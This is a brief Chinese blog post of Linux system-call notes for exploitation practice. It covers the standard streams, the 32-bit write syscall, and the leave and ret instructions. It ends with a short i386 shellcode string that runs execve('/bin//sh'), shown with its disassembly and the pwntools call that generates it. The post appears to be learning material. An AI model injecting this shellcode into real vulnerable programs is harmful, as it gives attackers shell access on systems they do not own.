目錄
  1. 1. 标准输入输出
  2. 2. 32位系统调用
    1. 2.1. write
  3. 3. 汇编
  4. 4. leave
    1. 4.1. ret
  5. 5. shellcode
    1. 5.1. i386
linux 系统调用相关

If you look for it, I’ve got a sneaky feeling you’ll find that love actually is all around.

标准输入输出

1
2
3
标准输入 即STDIN , 在 /dev/stdin , 一般指键盘输入, shell里代号是 0
标准输出 即STDOUT, 在 /dev/stdout, 一般指终端(terminal), 就是显示器, shell里代号是 1
标准错误 即STDERR, 在 /dev/stderr, 也是指终端(terminal), 不同的是, shell里代号是 2

32位系统调用

32位系统调用

write

1
2
3
4
5
6
7
系统调用号:4
函数路径:glibc-2.27/io/write.c
函数定义:ssize_t write(int fd, const void *buf, size_t nbyte);
fd:文件描述符;
buf:指定的缓冲区,即指针,指向一段内存单元;
nbyte:要写入文件指定的字节数;
返回值:写入文档的字节数(成功);-1(出错)

汇编

leave

1
2
3
在32位汇编下相当于:
mov esp,ebp
pop ebp

ret

1
RET指令则是将栈顶的返回地址弹出到EIP,然后按照EIP此时指示的指令地址继续执行程序

shellcode

i386

1
2
3
4
5
6
7
8
9
10
shellcode:"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
disasm如下:
0: 31 c9 xor ecx,ecx
2: f7 e1 mul ecx
4: 51 push ecx
5: 68 2f 2f 73 68 push 0x68732f2f
a: 68 2f 62 69 6e push 0x6e69622f
f: 89 e3 mov ebx,esp
11: b0 0b mov al,0xb
13: cd 80 int 0x80

pwntools生成

1
shellcraft.i386.linux.sh()
文章作者: kangel
文章鏈接: https://j-kangel.github.io/2019/12/25/linux-系统调用相关/
版權聲明: 本博客所有文章除特別聲明外,均採用 CC BY-NC-SA 4.0 許可協議。轉載請註明來自 KANGEL